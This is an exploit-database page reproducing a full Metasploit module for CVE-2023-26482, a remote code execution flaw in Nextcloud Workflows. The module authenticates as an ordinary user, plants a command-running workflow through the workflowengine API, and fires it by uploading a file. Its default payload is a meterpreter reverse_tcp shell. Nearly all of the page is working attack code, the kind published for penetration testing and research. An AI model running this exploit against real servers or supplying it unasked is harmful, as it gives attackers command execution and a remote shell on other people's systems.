Lucene search
K

📄 Nextcloud Workflows Remote Code Execution

🗓️ 15 May 2025 00:00:00Reported by Armend Gashi, arianitisufi, Enis Maholli, whotwagnerType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 107 Views

Nextcloud Workflows remote code execution lets authenticated users execute commands via workflows.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Retry
    
      def initialize(info = {})
        @token = nil
    
        super(
          update_info(
            info,
            'Name' => 'Nextcloud Workflows Remote Code Execution',
            'Description' => %q{
              This module adds workflows as an authenticated user
              which can only be created by administrators by design.
              If the app "Nextcloud Workflow Script" is installed it
              is possible to generate a workflow that executes commands.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Enis Maholli', # Discovery
              'arianitisufi', # Discovery
              'Armend Gashi', # Discovery
              'whotwagner'    # Metasploit Module
            ],
            'References' => [
              ['URL', 'https://github.com/nextcloud/security-advisories/security/advisories/GHSA-h3c9-cmh8-7qpj'],
              ['CVE', '2023-26482']
            ],
            'Platform' => %w[linux unix],
            'Targets' => [
              [
                'nix Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                    'FETCH_WRITABLE_DIR' => '/tmp'
                  }
                }
              ],
            ],
            'Privileged' => false,
            'DisclosureDate' => '2023-03-30',
            'DefaultOptions' => { 'WfsDelay' => 16.minutes.seconds.to_i },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']),
            OptString.new('USERNAME', [true, 'The username to authenticate as']),
            OptString.new('PASSWORD', [true, 'The password to authenticate with'])
          ]
        )
      end
    
      def parse_token(res)
        return if res.nil?
    
        if defined? res.get_html_document&.at('//head/@data-requesttoken')&.value
          Rex::Text.uri_encode(res.get_html_document.at('//head/@data-requesttoken').value)
        else
          print_error('token not found')
          nil
        end
      end
    
      def authenticate(user, pass)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'login'),
          'method' => 'GET',
          'keep_cookies' => true
        )
        fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
        @token = parse_token(res)
        fail_with(Failure::UnexpectedReply, 'Request Token not found') if @token.nil?
    
        data = "user=#{user}&password=#{pass}&requesttoken=#{@token}"
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'login'),
          'method' => 'POST',
          'data' => data.to_s,
          'keep_cookies' => true
        )
    
        fail_with(Failure::NoAccess, 'Login failed') if res.nil? || res.code == 401
      end
    
      def request_token
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'csrftoken'),
          'method' => 'GET',
          'keep_cookies' => true
        )
        fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
        @token = res.get_json_document['token']
        fail_with(Failure::UnexpectedReply, '2: Request Token not found') if @token.nil?
      end
    
      def create_workflow(operation)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'),
          'method' => 'POST',
          'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
          'vars_get' => { 'format' => 'json' },
          'data' => {
            'id' => -1743078702939,
            'class' => 'OCA\\WorkflowScript\\Operation',
            'entity' => 'OCA\\WorkflowEngine\\Entity\\File',
            'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'],
            'name' => '',
            'checks' => [
              {
                'class' => 'OCA\\WorkflowEngine\\Check\\FileName',
                'operator' => 'matches',
                'value' => '/.*/',
                'invalid' => false
              }
            ],
            'operation' => operation,
            'valid' => true
          }.to_json,
          'keep_cookies' => true
        )
    
        fail_with(Failure::NoAccess, 'Login failed') unless res&.code == 200
        json_data = res.get_json_document
        flow_id = json_data.dig('ocs', 'data', 'id')
        flow_id
      end
    
      def upload_file(filename)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, "remote.php/webdav/#{filename}"),
          'method' => 'PUT',
          'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
        )
        fail_with(Failure::UnexpectedReply, 'Unable to upload file') unless res&.message == 'Created'
      end
    
      def delete_workflow(workflow_id)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, "ocs/v2.php/apps/workflowengine/api/v1/workflows/user/#{workflow_id}"),
          'vars_get' => { 'format' => 'json' },
          'method' => 'DELETE',
          'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
          'keep_cookies' => true
        )
      end
    
      def delete_file(user, filename)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, "remote.php/dav/files/#{user}/#{filename}"),
          'method' => 'DELETE',
          'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
        )
      end
    
      def check
        # For the check command
        cookie_jar.clear
    
        authenticate(datastore['USERNAME'], datastore['PASSWORD'])
        request_token
        flow_id = create_workflow('sleep 1')
    
        Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil?
    
        delete_workflow(flow_id)
        Exploit::CheckCode::Vulnerable
      end
    
      def exploit
        # Main function
        cookie_jar.clear
    
        authenticate(datastore['USERNAME'], datastore['PASSWORD'])
    
        request_token
    
        case target['Type']
        when :unix_cmd
          execute_command(payload.encoded)
        end
      end
    
      def execute_command(cmd, _opts = {})
        print_status('Sending payload..')
        @temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
        @flow_id = create_workflow(cmd.to_s)
    
        fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil?
    
        print_good('Workflow created')
        upload_file(@temp_filename)
      end
    
      def need_cleanup?
        defined?(@temp_filename) && @temp_filename
      end
    
      def cleanup
        super
        return unless need_cleanup?
    
        print_status('Cleaning up')
    
        delete_workflow(@flow_id) if defined?(@flow_id) && @flow_id
        delete_file(datastore['USERNAME'], @temp_filename) if defined?(@temp_filename) && @temp_filename
    
        @flow_id = nil
        @temp_filename = nil
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 May 2025 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 3.18.8 - 9
EPSS0.51125
SSVC
107